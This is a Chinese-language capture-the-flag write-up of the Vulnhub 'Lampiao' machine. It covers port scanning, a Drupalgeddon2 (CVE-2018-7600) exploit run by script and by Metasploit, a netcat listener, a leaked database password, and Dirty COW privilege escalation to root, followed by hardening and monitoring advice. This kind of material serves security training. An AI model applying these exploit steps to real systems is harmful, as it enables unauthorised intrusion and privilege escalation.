1. 项目概述Lampiao是Vulnhub平台上发布的一款基于Linux的渗透测试靶机模拟了一个存在多个漏洞的Web服务器环境。这个靶机系统以葡萄牙语命名意为油灯其设计灵感来源于巴西的LAMPLinuxApacheMySQLPHP服务器常见配置漏洞。作为安全研究人员和CTF爱好者我花了三天时间完整攻克了这个靶机。整个过程涉及信息收集、漏洞利用、权限提升等多个阶段最终成功获取root权限。下面我将详细拆解整个渗透过程的关键技术点和实战心得。2. 环境准备与信息收集2.1 靶机环境配置首先需要将下载的OVA文件导入VirtualBox或VMware网络模式建议选择Host-only或NAT内存分配1GB即可流畅运行系统启动后会自动获取IP地址注意实际测试发现该靶机有时会占用80和3306端口建议关闭宿主机的相关服务避免冲突2.2 基础信息枚举使用nmap进行基础扫描nmap -sV -p- 192.168.1.105关键发现开放端口80Apache、1898自定义端口Web服务器Apache/2.4.7操作系统Ubuntu 14.042.3 Web应用分析访问1898端口发现Drupal 7 CMS版本确认通过CHANGELOG.txt确认是Drupal 7.54插件检测使用droopescan扫描发现多个过时插件用户枚举通过/user/1确认admin用户存在3. 漏洞利用过程3.1 Drupalgeddon2漏洞利用Drupal 7.54存在著名的RCE漏洞CVE-2018-7600python3 drupalgeddon2.py http://192.168.1.105:1898成功获取www-data权限的shell后升级为交互式shellpython -c import pty; pty.spawn(/bin/bash)查看当前用户权限id建立持久连接nc -lvnp 44443.2 横向移动技巧在/var/www/html目录发现数据库凭据$db_url mysql://drupaluser:Virgulinolocalhost/drupal;使用mysql客户端连接后获取用户密码哈希值敏感配置信息自定义模块代码3.3 内核提权路径通过uname -a发现内核版本Linux lampiao 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64适用的提权方法脏牛漏洞CVE-2016-5195overlayfs漏洞CVE-2015-8660最终采用dirtycow的可靠利用gcc -pthread dirty.c -o dirty -lcrypt ./dirty mypassword4. 技术要点深度解析4.1 Drupal漏洞链分析该靶机精心设计了漏洞链前端注入 → 2. 中间件RCE → 3. 数据库凭证泄露 → 4. 内核提权每个环节都体现了真实环境中常见的配置错误未及时打补丁的CMS默认凭证未修改敏感文件权限不当过期的内核版本4.2 葡萄牙语环境下的特殊发现靶机中有几个葡萄牙语线索/home/tiago目录下的笔记文件MySQL中的葡语内容Web页面的文化元素提示这对非葡语使用者是个挑战建议使用Google翻译API实时翻译关注代码中的字符串而非自然语言记住常见命令的葡语变体5. 防御建议与加固方案5.1 针对已发现漏洞的修复Drupal方面升级到最新安全版本删除不必要的插件限制文件上传类型系统层面更新内核到安全版本配置适当的sudo权限启用SELinux/AppArmor5.2 安全监控建议日志监控重点/var/log/apache2/error.log/var/log/auth.logMySQL的慢查询日志入侵检测指标异常的PHP文件创建passwd文件修改非常规端口连接6. 常见问题与解决记录6.1 网络连接问题症状靶机无法获取IP地址 解决方法检查VirtualBox的DHCP服务手动设置静态IPifconfig eth0 192.168.56.105 netmask 255.255.255.0 route add default gw 192.168.56.16.2 漏洞利用失败处理Drupalgeddon2执行无响应时检查Python版本需3.x验证网络连通性尝试其他利用脚本msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.105 set RPORT 1898 exploit7. 扩展学习资源类似难度靶机推荐Vulnhub: Kioptrix系列HackTheBox: Lame, LegacyOverTheWire: Natas技术深化方向Drupal安全白皮书Linux内核漏洞利用开发葡萄牙语基础安全术语工具进阶使用Metasploit模块开发Nmap脚本编写自定义Shellcode制作这个靶机最让我印象深刻的是它模拟了真实环境中常见的漏洞组合从Web应用到系统内核形成了完整的攻击链。在实际渗透过程中建议做好每个阶段的详细记录这对后续的漏洞分析和防御方案制定都很有帮助。